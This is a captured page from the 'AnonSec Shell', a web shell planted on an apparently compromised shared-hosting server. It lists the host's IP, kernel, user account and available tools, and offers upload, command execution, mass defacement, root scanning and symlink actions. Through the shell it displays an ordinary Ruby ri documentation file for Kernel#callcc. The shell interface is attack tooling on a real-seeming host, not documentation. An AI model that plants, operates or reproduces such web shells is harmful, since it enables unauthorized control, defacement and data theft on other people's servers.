AnonSec Shell
Server IP : 68.65.120.251  /  Your IP : 3.133.94.34   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server105.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : travtpib ( 6521)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/ruby18/share/ri/1.8/system/Kernel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/alt/ruby18/share/ri/1.8/system/Kernel/callcc-i.yaml
--- !ruby/object:RI::MethodDescription 
aliases: []

block_params: 
comment: 
- !ruby/struct:SM::Flow::P 
  body: Generates a <tt>Continuation</tt> object, which it passes to the associated block. Performing a <em>cont</em><tt>.call</tt> will cause the <tt>callcc</tt> to return (as will falling through the end of the block). The value returned by the <tt>callcc</tt> is the value of the block, or the value passed to <em>cont</em><tt>.call</tt>. See class <tt>Continuation</tt> for more details. Also see <tt>Kernel::throw</tt> for an alternative mechanism for unwinding a call stack.
full_name: Kernel#callcc
is_singleton: false
name: callcc
params: |
  callcc {|cont| block }   =>  obj

visibility: public

Anon7 - 2022
AnonSec Team